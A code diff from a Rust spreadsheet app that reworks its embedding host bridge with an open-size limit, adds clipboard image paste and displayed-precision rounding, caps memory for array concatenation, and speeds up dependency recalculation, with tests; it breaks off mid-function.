-            .post_message_with_transfer(&message, &self.origin, &js_sys::Array::of1(&buffer))
-            .map_err(|e| e.as_string().unwrap_or_else(|| format!("{e:?}")))?;
+        let name = file_name(path);
+        self.host.post_save(&name, bytes, None, false)?;
        self.saved.borrow_mut().push(name);
        Ok(())
    }

    fn listen(&self, inbox: Inbox, ctx: egui::Context) {
-        let parent = self.parent.clone();
-        let origin = self.origin.clone();
-        let on_message = Closure::<dyn FnMut(web_sys::MessageEvent)>::new(move |event: web_sys::MessageEvent| {
-            if event.origin() != origin || !event.source().is_some_and(|s| js_sys::Object::is(&s, &parent)) {
-                return;
+        self.host.listen(move |message| {
+            if let Message::Open { name, data } = message {
+                deliver_open(&inbox, &ctx, &name, &data);
            }
-            let data = event.data();
-            if string(&data, "type").as_deref() != Some("gridcraft:open") {
-                return;
-            }
-            let name = string(&data, "name").filter(|n| !n.trim().is_empty()).unwrap_or_else(|| "Book.xlsx".to_string());
-            let Some(bytes) = bytes(&data) else { return };
-            inbox.lock().unwrap_or_else(|e| e.into_inner()).push((name, bytes));
-            ctx.request_repaint();
        });
-        if self.window.add_event_listener_with_callback("message", on_message.as_ref().unchecked_ref()).is_ok() {
-            // The listener lives as long as the page.
-            on_message.forget();
-        }
    }
+}

-    /// Post a message to the parent; false if it couldn't be sent.
-    fn send(&self, fields: &[(&str, JsValue)]) -> bool {
-        message(fields).is_some_and(|m| self.parent.post_message(&m, &self.origin).is_ok())
+/// The file an open message carries, pushed onto the inbox for the next frame, like a dropped
+/// file. A host's file is untrusted input: an oversized one is refused before it is copied into
+/// the app's memory (the data's own length, not the host's claim).
+fn deliver_open(inbox: &Inbox, ctx: &egui::Context, name: &str, data: &FileData) {
+    let FileData::Bytes(array) = data else {
+        log::warn!("host file {name} came as a File; GridCraft reads bytes only; not opened");
+        return;
+    };
+    if data.size() > MAX_OPEN_BYTES as f64 {
+        log::warn!("host file is {} bytes, over the {} MiB host open limit; not opened", data.size(), MAX_OPEN_BYTES >> 20);
+        return;
    }
+    inbox.lock().unwrap_or_else(|e| e.into_inner()).push((open_name(name), array.to_vec()));
+    ctx.request_repaint();
 }

 fn is_workbook(name: &str) -> bool {
    name.rsplit_once('.').is_some_and(|(_, ext)| WORKBOOK_EXTS.iter().any(|e| ext.eq_ignore_ascii_case(e)))
 }

-fn message(fields: &[(&str, JsValue)]) -> Option<js_sys::Object> {
-    let m = js_sys::Object::new();
-    for (key, value) in fields {
-        js_sys::Reflect::set(&m, &JsValue::from_str(key), value).ok()?;
-    }
-    Some(m)
-}
-
-fn string(data: &JsValue, key: &str) -> Option<String> {
-    js_sys::Reflect::get(data, &JsValue::from_str(key)).ok()?.as_string()
-}
-
-/// `bytes` as an `ArrayBuffer` or `Uint8Array`.
-fn bytes(data: &JsValue) -> Option<Vec<u8>> {
-    let bytes = js_sys::Reflect::get(data, &JsValue::from_str("bytes")).ok()?;
-    if let Some(array) = bytes.dyn_ref::<js_sys::Uint8Array>() {
-        Some(array.to_vec())
-    } else if bytes.is_instance_of::<js_sys::ArrayBuffer>() {
-        Some(js_sys::Uint8Array::new(&bytes).to_vec())
-    } else {
-        None
-    }
+fn file_name(path: &str) -> String {
+    std::path::Path::new(path).file_name().map(|n| n.to_string_lossy().to_string()).unwrap_or_else(|| path.to_string())
 }
@@ -0,0 +1,28 @@
+//! Pure host-mode rules, shared by the bridge ([`crate::host`]) and testable without a browser
+//! (like [`crate::prefs`]): the name the bridge fills in when a host's open request has none.
+//! Which pages host the app is `craft-web-host`'s.
+
+/// The file name used when an open request carries no usable one.
+pub const DEFAULT_OPEN_NAME: &str = "Book.xlsx";
+
+/// The name `craft-web-host` gives an open request that carries no usable one (it cleans a host's
+/// name and falls back to this).
+const NAMELESS: &str = "document";
+
+/// A usable file name for an open request: the cleaned name the crate hands over, or
+/// [`DEFAULT_OPEN_NAME`] when the host sent none.
+pub fn open_name(name: &str) -> String {
+    if name == NAMELESS { DEFAULT_OPEN_NAME.to_string() } else { name.to_string() }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn open_names_fall_back_to_the_default_when_the_host_sent_none() {
+        assert_eq!(open_name("Budget.xlsx"), "Budget.xlsx");
+        assert_eq!(open_name("Sheet2!Book.xlsx"), "Sheet2!Book.xlsx");
+        assert_eq!(open_name("document"), DEFAULT_OPEN_NAME, "what the crate says for a missing or blank name");
+    }
+}
@@ -10,15 +10,19 @@
 //!
 //! URL query flags: `?webgl` forces WebGL2; `?sample=sales|budget|grades` opens a sample;
 //! `?host=parent` (inside an `<iframe>`) talks to a same-origin parent page instead: it sends the
-//! workbook to open and stores what GridCraft saves (`host`), and `&author=` names the user for
-//! notes and comments. `?chrome=none|notitlebar|nofiletab` leaves the title bar and/or the File tab
-//! undrawn for a host that embeds the sheet in its own window (see `Chrome`). Preferences (theme,
-//! interface size, editing options…) are kept in `localStorage` (`prefs`).
+//! workbook to open and stores what GridCraft saves (`host`). A page can host GridCraft in its
+//! own document (no iframe) with `data-host="page"` on the canvas, talking over DOM `CustomEvent`s
+//! on the canvas. `&author=` names the user for notes and comments in either host mode.
+//! `?chrome=none|notitlebar|nofiletab` leaves the title bar and/or the File tab undrawn for a host
+//! that embeds the sheet in its own window (see `Chrome`). Preferences (theme, interface size,
+//! editing options…) are kept in `localStorage` (`prefs`).
 #![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)]

 #[cfg(target_arch = "wasm32")]
 mod host;
 #[cfg(any(target_arch = "wasm32", test))]
+mod hostmode;
+#[cfg(any(target_arch = "wasm32", test))]
 mod prefs;
 #[cfg(target_arch = "wasm32")]
 mod web;
@@ -37,9 +37,12 @@ pub fn start() {
        {
            create.instance_descriptor.backends = eframe::wgpu::Backends::GL;
        }
-        // `?host=parent`: a same-origin page framing GridCraft (such as a Nextcloud app) opens
-        // workbooks in it and stores what it saves (`host`).
-        let bridge = if query_param("host").as_deref() == Some("parent") { crate::host::Bridge::new() } else { None };
+        // Host modes (`craft-web-host`): `?host=parent`, a same-origin page framing GridCraft (such
+        // as a Nextcloud app), opens workbooks in it and stores what it saves (`host`). Unframed
+        // there is no parent, so that URL on its own stays the normal app with downloads.
+        // `data-host="page"` on the canvas opts a page in instead: it runs GridCraft in its own
+        // document and talks over DOM `CustomEvent`s on the canvas.
+        let bridge = crate::host::Bridge::detect(&canvas);
        let app_bridge = bridge.clone();
        let result = eframe::WebRunner::new()
            .start(
@@ -48,7 +51,7 @@ pub fn start() {
                Box::new(move |cc| {
                    let inbox: Inbox = Inbox::default();
                    let mut session = Session::new();
-                    // In host mode the parent sends the workbook to edit; no sample meanwhile.
+                    // In host mode the host sends the workbook to edit; no sample meanwhile.
                    let q = if app_bridge.is_some() { String::new() } else { query() };
                    if let Some(name) = q.split(['?', '&']).find_map(|kv| kv.strip_prefix("sample=")) {
                        let _ = session.execute("file.new", serde_json::json!({"sample": name}));
@@ -193,7 +196,7 @@ fn services(inbox: Inbox, ctx: egui::Context) -> Services {
            let ctx = ctx.clone();
            wasm_bindgen_futures::spawn_local(async move {
                let Some(file) = rfd::AsyncFileDialog::new()
-                    .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"])
+                    .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"])
                    .pick_file()
                    .await
                else {
@@ -37,13 +37,13 @@ winit = { version = "0.30", default-features = false, features = ["x11", "waylan
 craft-print = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" }
 craft-update = { workspace = true }
 rfd = { workspace = true }
-arboard = { workspace = true }
+arboard = { workspace = true, features = ["image-data"] }
 gridcraft-mcp = { workspace = true }
 # The control channel's token (OS random numbers); already in the tree.
 getrandom = "0.4"

 [target.'cfg(any(target_os = "linux", target_os = "freebsd"))'.dependencies]
-arboard = { workspace = true, features = ["wayland-data-control"] }
+arboard = { workspace = true, features = ["image-data", "wayland-data-control"] }

 [target.'cfg(target_os = "windows")'.dependencies]
 # Blocks on the start-up DirectX 12 adapter probe (`graphics.rs`); already in the tree via eframe.
@@ -154,7 +154,7 @@ fn read_clipboard<T>(
 fn services() -> Services {
    // Keep the owner alive: X11/Wayland serve clipboard data from this handle.
    let clipboard: Rc<RefCell<Option<arboard::Clipboard>>> = Rc::default();
-    let (html_clipboard, text_clipboard) = (clipboard.clone(), clipboard.clone());
+    let (html_clipboard, text_clipboard, image_clipboard) = (clipboard.clone(), clipboard.clone(), clipboard.clone());
    Services {
        copy_html: Some(Box::new(move |html, text| {
            let mut clipboard = clipboard.borrow_mut();
@@ -165,9 +165,13 @@ fn services() -> Services {
        })),
        paste_html: Some(Box::new(move || read_clipboard(&html_clipboard, |clipboard| clipboard.get().html()))),
        paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))),
+        paste_image: Some(Box::new(move || {
+            let image = read_clipboard(&image_clipboard, |clipboard| clipboard.get_image())?;
+            image::RgbaImage::from_raw(u32::try_from(image.width).ok()?, u32::try_from(image.height).ok()?, image.bytes.into_owned())
+        })),
        pick_open: Some(Box::new(|| {
            rfd::FileDialog::new()
-                .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"])
+                .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"])
                .add_filter("Excel Workbook", &["xlsx", "xlsm"])
                .add_filter("Excel 97-2003 Workbook (import)", &["xls"])
                .add_filter("Excel Binary Workbook (data import)", &["xlsb"])
@@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> {
            Expr::Array(rows) => {
                let h = rows.len();
                let w = rows.first().map_or(0, Vec::len);
+                // A ragged literal is an error either way; one wide row and many empty ones must
+                // not reserve their rows-times-width product first.
+                if rows.iter().any(|row| row.len() != w) {
+                    return err(CellError::Value);
+                }
                let mut data = Vec::with_capacity(h * w);
                for row in rows {
                    for el in row {
@@ -359,9 +364,10 @@ impl<'h> Evaluator<'h> {
            return v.clone();
        }
        let wb = self.host.workbook();
-        // Sheet-qualified `Sheet1!Name`.
-        let (scope_sheet, bare) = match n.split_once('!') {
-            Some((s, b)) => match wb.sheet_index(&gridcraft_core::unquote_sheet(s)) {
+        // Sheet-qualified `Sheet1!Name`. The parser stores the sheet unquoted, so it is used as
+        // is (`' Sales '` keeps its spaces) and split at the last `!` (`'a!b'!Name`).
+        let (scope_sheet, bare) = match n.rsplit_once('!') {
+            Some((s, b)) => match wb.sheet_index(s) {
                Some(i) => (i, b),
                None => return err(CellError::Name),
            },
@@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value
    }
 }

+/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the
+/// result grows as cells are made rather than being reserved for the whole broadcast up front.
+fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option<Value>) -> Option<Value> {
+    Some(match (a, b) {
+        (Value::Array(x), Value::Array(y)) => {
+            let rows = broadcast_dim(x.rows, y.rows);
+            let cols = broadcast_dim(x.cols, y.cols);
+            if broadcast_len(rows, cols).is_none() {
+                return Some(Value::Error(CellError::Num));
+            }
+            let mut data = Vec::new();
+            for r in 0..rows {
+                for c in 0..cols {
+                    data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?);
+                }
+            }
+            Value::from(Array { rows, cols, data })
+        }
+        (Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::<Option<_>>()? }),
+        (s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::<Option<_>>()? }),
+        (x, y) => f(x, y)?,
+    })
+}
+
 /// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`].
 /// Each operand passes its own size cap, but their broadcast product can be far larger
 /// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating.
@@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option<Value> {
    }
 }

+/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a
+/// compact formula can broadcast a long text across millions of cells
+/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the
+/// error for a result too large to hold, before the rest is built.
+pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024;
+
 pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value {
+    if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) {
+        return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES);
+    }
    zip2(x, y, |a, b| binary_scalar(op, a, b, sys))
 }

+/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget`
+/// bytes.
+fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value {
+    let mut used = 0usize;
+    try_zip2(x, y, |a, b| {
+        let v = binary_scalar(BinOp::Concat, a, b, sys);
+        if let Value::Text(t) = &v {
+            used = used.saturating_add(t.len());
+            if used > budget {
+                return None;
+            }
+        }
+        Some(v)
+    })
+    .unwrap_or(Value::Error(CellError::Num))
+}
+
 fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value {
    if let Value::Error(e) = a {
        return Value::Error(*e);
@@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste

 #[cfg(test)]
 mod tests {
-    use super::{MAX_CELLS, broadcast_len};
+    use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2};
+
+    /// The broadcast stops at the first refused cell: nothing after it is visited.
+    #[test]
+    fn a_refused_cell_stops_the_broadcast() {
+        let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect()));
+        let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() });
+        let mut calls = 0;
+        let r = try_zip2(&col, &row, |a, _| {
+            calls += 1;
+            (calls <= 10).then(|| a.clone())
+        });
+        assert_eq!((r, calls), (None, 11));
+    }
+
+    #[test]
+    fn concatenating_arrays_stops_at_the_byte_budget() {
+        let sys = gridcraft_core::DateSystem::default();
+        let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect()));
+        let long = Value::text("x".repeat(100));
+        // 100 cells of 101 or 102 bytes each: about 10 KB in all.
+        let r = concat_arrays(&col, &long, sys, 20_000);
+        assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}");
+        assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num));
+        assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num));
+        // Through the operator, a small result is unaffected.
+        let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys);
+        assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}");
+    }

    #[test]
    fn broadcast_len_caps_at_max_cells() {
@@ -4,10 +4,12 @@
 #![forbid(unsafe_code)]

 pub mod eval;
+mod precision;
 pub mod recalc;
 mod trimrange;

 pub use eval::{Area, SPECIAL_FUNCTIONS, is_known_function};
+pub use precision::DisplayedPrecision;
 pub use recalc::{Calc, Key, evaluate, now_serial};

 #[cfg(test)]
@@ -0,0 +1,52 @@
+//! "Set precision as displayed" (File › Options › Advanced; `fullPrecision="0"` in `.xlsx`,
+//! CalcPrecision in `.xls`): with it on, a number is stored as its cell's number format shows it,
+//! and formulas read those rounded values. The rounding itself is the number format crate's
+//! ([`gridcraft_numfmt::NumberFormat::round_as_displayed`]); this module looks up each cell's
+//! format, parsing every style's code once.
+
+use std::collections::HashMap;
+
+use gridcraft_core::{CellRef, Value};
+use gridcraft_model::{StyleId, Workbook};
+use gridcraft_numfmt::NumberFormat;
+
+/// Rounds values to their cell's displayed precision, remembering each style's parsed format.
+/// Styles don't change while it is used (one recalculation pass, one sweep of a workbook).
+#[derive(Default)]
+pub struct DisplayedPrecision {
+    /// Parsed format per style; `None` for General, which keeps the full value.
+    formats: HashMap<StyleId, Option<NumberFormat>>,
+}
+
+impl DisplayedPrecision {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    /// `n` as the format of `c` on sheet `sheet` displays it (the cell's own style, else its
+    /// row's, else its column's, as the grid shows it).
+    pub fn round(&mut self, wb: &Workbook, sheet: usize, c: CellRef, n: f64) -> f64 {
+        let Some(sh) = wb.sheet(sheet) else { return n };
+        let id = sh.style_id(c);
+        let fmt = self.formats.entry(id).or_insert_with(|| {
+            let f = NumberFormat::parse_cached(wb.styles.get(id).num_fmt.as_str());
+            (!f.is_general()).then_some(f)
+        });
+        match fmt {
+            Some(f) => f.round_as_displayed(n),
+            None => n,
+        }
+    }
+
+    /// Like [`DisplayedPrecision::round`] for a value: only numbers change.
+    pub fn round_value(&mut self, wb: &Workbook, sheet: usize, c: CellRef, v: Value) -> Value {
+        match v {
+            Value::Number(n) => {
+                let r = self.round(wb, sheet, c, n);
+                // Bit-equal results keep the value as it was (no needless change for undo/diffs).
+                if r.to_bits() == n.to_bits() { Value::Number(n) } else { Value::Number(r) }
+            }
+            v => v,
+        }
+    }
+}
@@ -24,7 +24,7 @@ mod pass_host;
 #[cfg(test)]
 use graph::Intervals;
 pub use graph::{FxHasher, Graph, Key};
-use graph::{HashMap, HashSet, Node};
+use graph::{HashMap, HashSet, Node, Taken};
 use pass_host::{PassHost, spills_as_before};

 /// Calculation state kept beside a workbook.
@@ -292,17 +292,16 @@ impl Calc {
                }
            }
        }
-        // Spill areas of changed anchors also change.
+        // Spill areas of changed anchors also change. They stay rectangles: one seed per spilled
+        // cell listed the formulas reading the area once per cell.
+        let mut areas: Vec<(usize, RangeRef)> = cleared;
        for &k in changed {
            if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) {
-                seeds.extend(r.iter().map(|c| (k.0, c)));
+                areas.push((k.0, *r));
            }
        }
-        for (si, r) in &cleared {
-            seeds.extend(r.iter().map(|c| (*si, c)));
-        }
        let t0 = prof_now();
-        let dirty = self.dirty_closure(wb, &seeds);
+        let dirty = self.dirty_closure(wb, &seeds, &areas);
        let t1 = prof_now();
        let n = dirty.len();
        self.run(wb, dirty, false);
@@ -311,16 +310,39 @@ impl Calc {
        }
    }

-    fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec<Key> {
+    /// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds
+    /// that are formulas, and everything that reads them, directly or through other formulas.
+    fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec<Key> {
        let mut seen: HashSet<Key> = HashSet::default();
        let mut queue: VecDeque<Key> = VecDeque::new();
+        // Each range-index entry is listed once in the whole walk: many changed cells under one
+        // broad reference (or many formulas inside one) would otherwise list every formula reading
+        // it once per cell, which squared the work.
+        let mut taken = Taken::default();
+        let mut deps = Vec::new();
        for k in seeds {
            if self.graph.nodes.contains_key(k) && seen.insert(*k) {
                queue.push_back(*k);
            }
-            let mut deps = Vec::new();
-            self.graph.dependents(k.0, k.1, &mut deps);
-            for d in deps {
+            deps.clear();
+            self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
+            for d in deps.drain(..) {
+                if seen.insert(d) {
+                    queue.push_back(d);
+                }
+            }
+        }
+        for &(si, r) in areas {
+            if let Some(sh) = wb.sheet(si) {
+                for (c, _) in sh.cells.iter_range(r) {
+                    if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) {
+                        queue.push_back((si, c));
+                    }
+                }
+            }
+            deps.clear();
+            self.graph.dependents_of_range(si, r, &mut deps);
+            for d in deps.drain(..) {
                if seen.insert(d) {
                    queue.push_back(d);
                }
@@ -331,10 +353,9 @@ impl Calc {
                queue.push_back(*k);
            }
        }
-        let mut deps = Vec::new();
        while let Some(k) = queue.pop_front() {
            deps.clear();
-            self.graph.dependents(k.0, k.1, &mut deps);
+            self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
            for d in deps.drain(..) {
                if seen.insert(d) {
                    queue.push_back(d);
@@ -411,7 +432,7 @@ impl Calc {
            if spill_changes.is_empty() {
                break;
            }
-            dirty = self.dirty_closure(wb, &spill_changes);
+            dirty = self.dirty_closure(wb, &spill_changes, &[]);
        }
        // Loops among formulas the run did not evaluate stay listed while they are still formulas.
        // Iterative calculation reports none.
@@ -691,6 +712,149 @@ pub(crate) mod tests {
        assert!(visited < 64, "visited {visited} nodes for no match");
    }

+    #[test]
+    fn untaken_queries_list_each_interval_once_in_all() {
+        // 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000
+        // each time (5 million matches); sharing `taken`, each range is listed once in all.
+        let n = 5_000u32;
+        let mut iv: Intervals<u32> = Intervals::default();
+        for t in 0..1_000 {
+            iv.insert(0, n, t);
+        }
+        for r in 0..n {
+            iv.insert(r, r, 10_000 + r);
+        }
+        iv.settle();
+        let mut taken = Vec::new();
+        let mut listed = Vec::new();
+        for row in 0..=n + 3 {
+            iv.query_untaken(row, row, &mut taken, &mut |t| {
+                listed.push(*t);
+                true
+            });
+        }
+        listed.sort_unstable();
+        let want: Vec<u32> = (0..1_000).chain(10_000..10_000 + n).collect();
+        assert_eq!(listed, want);
+        // An entry the caller declines is offered again.
+        let mut taken = Vec::new();
+        let mut offered = 0;
+        for _ in 0..3 {
+            iv.query_untaken(7, 7, &mut taken, &mut |t| {
+                if *t == 10_007 {
+                    offered += 1;
+                }
+                *t != 10_007
+            });
+        }
+        assert_eq!(offered, 3);
+    }
+
+    #[test]
+    fn dirty_closure_matches_a_walk_of_every_cell() {
+        // Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some
+        // removed or left unsettled: the closure equals the one found by listing every dependent
+        // of every changed cell, area cells included, as before `taken` and areas existed.
+        use super::{HashSet, Node};
+        use crate::eval::Area;
+        use std::collections::VecDeque;
+        let mut s = 0x2545_F491_4F6C_DD1D;
+        for case in 0..40 {
+            let mut wb = Workbook::new();
+            let mut calc = Calc::new();
+            let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32;
+            let mut keys: Vec<Key> = Vec::new();
+            for _ in 0..300 {
+                let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150)));
+                let mut areas = Vec::new();
+                for _ in 0..1 + pick(&mut s, 3) {
+                    let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
+                    let end = match pick(&mut s, 3) {
+                        0 => start,
+                        1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)),
+                        _ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)),
+                    };
+                    areas.push(Area { sheet: 0, range: RangeRef::new(start, end) });
+                }
+                if let Some(sh) = wb.sheet_mut(0) {
+                    sh.cells.set(k.1, Cell::formula(Formula::new("=1")));
+                }
+                calc.graph.insert(k, Node { areas, dynamic: false });
+                keys.push(k);
+                if rng(&mut s).is_multiple_of(7) {
+                    calc.graph.settle();
+                }
+            }
+            for _ in 0..30 {
+                let k = keys[(rng(&mut s) % keys.len() as u64) as usize];
+                calc.graph.remove(k);
+                if let Some(sh) = wb.sheet_mut(0) {
+                    sh.cells.remove(k.1);
+                }
+            }
+            if case % 2 == 0 {
+                calc.graph.settle();
+            }
+            let seeds: Vec<Key> = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect();
+            let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3))
+                .map(|_| {
+                    let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
+                    (0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80))))
+                })
+                .collect();
+            let got: HashSet<Key> = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect();
+            // The walk before: every area cell is a seed, and every cell lists all its dependents.
+            let mut all = seeds.clone();
+            for (si, r) in &areas {
+                all.extend(r.iter().map(|c| (*si, c)));
+            }
+            let mut want: HashSet<Key> = HashSet::default();
+            let mut queue: VecDeque<Key> = VecDeque::new();
+            let mut deps = Vec::new();
+            for k in &all {
+                if calc.graph.nodes.contains_key(k) && want.insert(*k) {
+                    queue.push_back(*k);
+                }
+                deps.clear();
+                calc.graph.dependents(k.0, k.1, &mut deps);
+                queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
+            }
+            while let Some(k) = queue.pop_front() {
+                deps.clear();
+                calc.graph.dependents(k.0, k.1, &mut deps);
+                queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
+            }
+            assert_eq!(got, want, "case {case}");
+        }
+    }
+
+    #[test]
+    fn clearing_a_spill_recalculates_formulas_reading_it_once_each() {
+        // 300 formulas read the area an anchor spills into; clearing the anchor changes all of it
+        // and every one of them is recalculated (they were listed once per spilled cell).
+        let mut wb = Workbook::new();
+        let mut calc = Calc::new();
+        let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| {
+            if let Some(sh) = wb.sheet_mut(0) {
+                if input.is_empty() {
+                    sh.cells.remove(at);
+                } else {
+                    sh.cells.set(at, Cell::formula(Formula::new(input)));
+                }
+            }
+            calc.cells_changed(wb, &[(0, at)]);
+        };
+        set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)");
+        for r in 0..300 {
+            set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)");
+        }
+        assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0)));
+        set(&mut wb, &mut calc, CellRef::new(0, 0), "");
+        for r in 0..300 {
+            assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}");
+        }
+    }
+
    /// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K.
    fn sum_rows(rows: u32) -> Workbook {
        let mut wb = Workbook::new();
@@ -151,6 +151,54 @@ impl<T: Copy + Ord> Intervals<T> {
        self.walk(1, 0, self.max_end.len() / 2, p, a, f)
    }

+    /// [`Intervals::query`] that skips entries an earlier call with the same `taken` already
+    /// took (and whole subtrees of them), so that a series of queries lists each interval once in
+    /// all. `f` answers whether it took the entry; one it declines is offered again later.
+    /// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at
+    /// most after [`Intervals::settle`]) are offered every time.
+    pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec<bool>, f: &mut dyn FnMut(&T) -> bool) {
+        for it in &self.pending {
+            if it.0 <= b && it.1 >= a {
+                f(&it.2);
+            }
+        }
+        let p = self.items.partition_point(|it| it.0 <= b);
+        if p == 0 {
+            return;
+        }
+        if taken.len() != self.max_end.len() {
+            *taken = vec![false; self.max_end.len()];
+        }
+        self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f);
+    }
+
+    /// Returns whether everything under `node` has now been reported (or is dead).
+    #[allow(clippy::too_many_arguments)]
+    fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool {
+        if taken.get(node).copied().unwrap_or(true) {
+            return true;
+        }
+        if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
+            return false;
+        }
+        let done = if hi - lo <= 1 {
+            match (self.items.get(lo), self.dead.get(lo)) {
+                (Some(it), Some(false)) if it.1 >= a => f(&it.2),
+                (Some(_), Some(true)) => true,
+                _ => false,
+            }
+        } else {
+            let mid = lo + (hi - lo) / 2;
+            let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f);
+            let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f);
+            left && right
+        };
+        if done && let Some(slot) = taken.get_mut(node) {
+            *slot = true;
+        }
+        done
+    }
+
    fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize {
        if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
            return 1;
@@ -168,6 +216,13 @@ impl<T: Copy + Ord> Intervals<T> {
    }
 }

+/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]).
+#[derive(Default)]
+pub(super) struct Taken {
+    cols: HashMap<(usize, u32), Vec<bool>>,
+    wide: HashMap<usize, Vec<bool>>,
+}
+
 #[derive(Clone, Debug, Default)]
 pub struct Graph {
    pub(super) nodes: HashMap<Key, Node>,
@@ -302,6 +357,32 @@ impl Graph {
        }
    }

+    /// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the
+    /// same `taken` already listed. A walk over many changed cells that a few broad ranges cover
+    /// then lists those formulas once, instead of once per cell (which squared the work). The
+    /// graph must not change while `taken` is in use.
+    pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec<Key>) {
+        if let Some(v) = self.cell_deps.get(&(sheet, c)) {
+            out.extend(v.iter().copied());
+        }
+        if let Some(v) = self.col_deps.get(&(sheet, c.col)) {
+            v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| {
+                out.push(*k);
+                true
+            });
+        }
+        if let Some(v) = self.wide_deps.get(&sheet) {
+            // A wide entry is taken once it covers the cell's column too.
+            v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| {
